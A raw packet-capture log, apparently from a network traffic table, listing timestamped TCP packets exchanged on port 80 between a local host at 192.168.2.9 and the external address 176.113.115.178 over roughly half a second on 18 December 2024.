Dec 18, 2024 14:07:58.682766914 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.684201956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.684218884 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.684263945 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.684503078 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.684886932 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.684931993 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.685808897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.685822010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.685868025 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.686655998 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.686669111 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.686786890 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.687309027 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.687416077 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.687566042 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.688366890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.688383102 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.688431025 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.689035892 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.689212084 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.689263105 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.690054893 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.690073967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.690123081 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.690999985 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.691013098 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.691063881 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.692110062 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.692116022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.692166090 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.692728043 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.692816019 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.692864895 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.693814993 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.694199085 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.694243908 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.694701910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.694940090 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.695022106 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.695616961 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.695705891 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.695911884 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.696732044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.696744919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.696799994 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.697567940 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.697681904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.697727919 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.698694944 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.698709011 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.698760033 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.699522972 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.699538946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.699598074 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.700328112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.700377941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.700535059 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.701380014 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.701394081 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.701442003 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.702373981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.702388048 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.702445984 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.703058958 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.703186035 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.703536987 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.704176903 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.704190016 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.704238892 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.705101967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.705115080 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.705168962 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.705979109 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.705991983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.706057072 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.706823111 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.706971884 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.707015991 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.707732916 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.707890987 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.708077908 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.708745956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.708765030 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.708934069 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.709880114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.709893942 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.709944963 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.710551023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.710663080 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.710709095 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.711764097 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.712053061 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.712104082 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.713185072 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.713494062 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.713829994 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.714569092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.714684963 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.714735031 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.715647936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.715666056 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.715715885 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.716056108 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.716149092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.716192007 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.716655970 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.716669083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.716713905 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.717915058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.717938900 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.718065023 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.718327045 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.718483925 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.718518019 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.719136000 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.719238997 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.719422102 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.720041037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.720251083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.720303059 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.875880957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.875901937 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.875986099 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.876018047 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.876070023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.876127005 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.877201080 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.877213955 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.877265930 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.877624989 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.877753973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.877804041 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.878617048 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.878767014 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.878806114 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.879606962 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.879693031 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.879731894 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.880673885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.880693913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.880759954 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.881424904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.881477118 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.881537914 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.882358074 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.882443905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.882637024 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.883248091 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.883372068 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.883420944 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.884186983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.884376049 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.884433985 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.885194063 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.885251045 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.885334969 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.886106014 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.886230946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.886380911 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.887032032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.887296915 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.887351036 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.888006926 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.888103008 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.888144016 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.888962984 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.888974905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.889031887 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.889869928 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.890014887 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.890074968 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.890746117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.890913010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.890954971 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.891721010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.891784906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.891935110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.892654896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.893095970 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.893141031 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.893563032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.893680096 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.893832922 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.894536018 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.894586086 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.894645929 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.895832062 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.895848989 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.895889997 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.897113085 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.897130013 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.897183895 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.897469997 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.897484064 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.897526979 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.898382902 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.898397923 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.898442030 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.899277925 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.899292946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.899337053 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.900254965 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.900274992 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.900316954 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.901050091 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.901165009 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.901253939 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.902640104 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.902659893 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.902715921 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.903075933 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.903090000 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.903136969 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.903837919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.904342890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.904675961 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.905412912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.905430079 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.905491114 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.905677080 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.905776978 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.905858994 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.906852007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.906887054 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.906992912 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.907573938 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.907731056 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.907771111 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.908682108 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.908696890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.908745050 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.909625053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.909718037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.909836054 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.910427094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.910626888 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.910698891 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.911360979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.912065983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.912133932 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.912281990 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.912389040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.912441015 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.913235903 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.913255930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.913306952 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.914333105 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.914762020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.914800882 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.915083885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.915203094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.915251970 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.916063070 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.916363955 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.916404963 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.917140007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.917155027 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.917211056 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.917913914 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.918091059 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.918133020 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.918920994 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.918941021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.918979883 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.920311928 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.920330048 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.920368910 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.920814037 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.920866013 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.921266079 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.921745062 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.946644068 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.946702003 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.946957111 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.947355986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.947370052 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.947410107 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.948072910 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.948090076 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.948132992 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.948688984 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.948724031 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:58.949070930 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:58.999505043 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.080638885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.080728054 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.080907106 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.080966949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.081127882 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.081176996 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.081213951 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.082350969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.082364082 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.082398891 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.082973003 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.083014965 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.083086967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.083991051 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.084005117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.084033966 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.084949017 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.084964991 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.085011959 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.085874081 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.085895061 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.085936069 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.086724997 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.086782932 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.086860895 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.087805986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.087820053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.087852955 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.088612080 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.088706017 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.088722944 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.089494944 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.089554071 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.089670897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.090598106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.090610027 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.090657949 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.091389894 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.091434956 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.091634035 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.092545986 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.092559099 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.092586040 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.093297958 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.093379974 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.093537092 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.094352007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.094403028 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.094408035 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.095164061 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.095220089 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.095280886 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.096110106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:07:59.096174955 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:07:59.096232891 CET	80	49780	176.113.115.178	192.168.2.9
